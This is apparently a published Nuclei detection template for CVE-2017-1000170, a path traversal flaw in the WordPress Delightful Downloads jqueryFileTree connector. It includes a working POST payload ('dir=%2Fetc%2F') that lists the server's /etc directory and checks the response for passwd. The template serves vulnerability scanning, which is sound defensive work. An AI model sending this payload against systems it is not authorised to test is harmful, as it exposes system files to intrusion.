WordPress Delightful Downloads Jquery File Tree 2.1.5 - Local File Inclusion

ID: CVE-2017-1000170

Severity: high

Author: dwisiswant0

Tags: cve2017,cve,wordpress,wp-plugin,lfi,jquery,edb,packetstorm,jqueryfiletree_project

Description

WordPress Delightful Downloads Jquery File Tree versions 2.1.5 and older are susceptible to local file inclusion vulnerabilities via jqueryFileTree.

YAML Source

id: CVE-2017-1000170

info:
  name: WordPress Delightful Downloads Jquery File Tree 2.1.5 - Local File Inclusion
  author: dwisiswant0
  severity: high
  description: WordPress Delightful Downloads Jquery File Tree versions 2.1.5 and older are susceptible to local file inclusion vulnerabilities via jqueryFileTree.
  impact: |
    Allows an attacker to include arbitrary local files, potentially leading to unauthorized access or code execution.
  remediation: |
    Update to the latest version of Delightful Downloads plugin or apply the patch provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/49693
    - https://github.com/jqueryfiletree/jqueryfiletree/issues/66
    - http://packetstormsecurity.com/files/161900/WordPress-Delightful-Downloads-Jquery-File-Tree-1.6.6-Path-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-1000170
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-1000170
    cwe-id: CWE-22
    epss-score: 0.70305
    epss-percentile: 0.97752
    cpe: cpe:2.3:a:jqueryfiletree_project:jqueryfiletree:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: jqueryfiletree_project
    product: jqueryfiletree
  tags: cve2017,cve,wordpress,wp-plugin,lfi,jquery,edb,packetstorm,jqueryfiletree_project

http:
  - method: POST
    path:
      - "{{BaseURL}}/wp-content/plugins/delightful-downloads/assets/vendor/jqueryFileTree/connectors/jqueryFileTree.php"

    body: "dir=%2Fetc%2F&onlyFiles=true"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<li class='file ext_passwd'>"
          - "<a rel='/passwd'>passwd</a></li>"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502207747fae946f26aa25512b3c615723e51900ab2e0536dbcb45b3b089fed983c9c022100938c1a5ce91604551745827972f5e337bfe276157c1a2186811bc4964801199d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-1000170.yaml"

View on Github